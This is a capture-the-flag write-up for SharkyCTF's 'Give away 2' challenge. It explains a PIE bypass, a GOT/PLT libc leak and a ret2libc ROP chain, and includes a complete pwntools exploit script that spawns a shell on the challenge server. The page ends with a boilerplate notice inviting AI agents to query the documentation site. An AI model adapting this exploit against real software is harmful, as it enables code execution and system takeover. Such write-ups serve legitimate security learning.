# Give away 2

We again get their libc version. It gives us a leak, but this time it begins with `0x56`, so likely something in the binary. If we step through in a debugger again, we find the program actually gives us the address of main. This lets us calculate the binary base.

We're going to need to use the libc somehow, so we can use the PLT and the GOT to leak a libc address.

Because the GOT is inside of the binary itself and is a table of libc addresses, if we can read the GOT we can read a libc address.

Meanwhile, the PLT is also inside of the binary. The PLT has a bunch of stubs, allowing us to call a libc function without it's address.

printf is called before we input. So it's GOT entry will contain it's libc address.

Thus, we can call printf on printf in got to leak printf's address, subtract appropriately to get the libc base, and then do what we did last time. in 64-bit, arguments are in rdi, then rsi, then rdx, etc. We need a pop rdi gadget in order to call `system("/bin/sh")`. The gadget would essentially be a piece of code within the binary that does `"pop rdi ; ret"`, popping the next value off the stack into rdi and then returning to the next return address.

So our exploit must:

* Use address of main to get binary base and address of gadgets and GOT and PLT
* call printf on printf in got to leak it's address (and call vuln afterwards so we get another input)
* Use this to calculate libc base and address of other things we want
* On second input, do `padding + pop rdi + address of /bin/sh + address of system`

  ```python
  from pwn import *
  import re
  NUM_TO_RET = 0x20 + 8
  padding = b'A' * NUM_TO_RET
  poprdi = 0x0000000000000903 # pop rdi ; ret
  e = ELF("./give2")
  libc = ELF("/lib/x86_64-linux-gnu/libc.so.6" if sys.argv[1] == "local" else "libc-2.27.so")
  p = e.process() if sys.argv[1] == "local" else remote('sharkyctf.xyz', 20335)
  output = p.recvline().decode()
  main = int(re.findall("Give away: (.*)", output)[0], 16)
  base = main - e.symbols['main']
  e.address = base
  log.info(f"Main: {hex(main)}")
  log.info(f"Binary base: {hex(e.address)}")
  poprdi += base
  leak = flat(padding, poprdi, e.got['printf'], e.plt['printf'], e.symbols['vuln'], word_size=64)
  pause()
  #p.sendline(padding + p64(main))
  p.sendline(padding + p64(e.symbols['vuln']))
  #p.recvline()
  p.sendline(leak)
  #output = p.recvuntil("G")[:-1]
  output = p.recv()
  #p.recvline()
  output += b'\x00' * (8 - len(output))
  printf = u64(output)
  libcbase = printf - libc.symbols['printf']
  log.info(f"Printf: {hex(printf)}")
  log.info(f"Libc base: {hex(libcbase)}")
  libc.address = libcbase
  payload = flat(padding, poprdi, next(libc.search(b"/bin/sh\x00")), libc.symbols['system'], word_size=64)
  p.sendline(payload)
  p.interactive()
  ```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://the-winrars.gitbook.io/writeups/2020-writeups/sharky/give-away-2.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
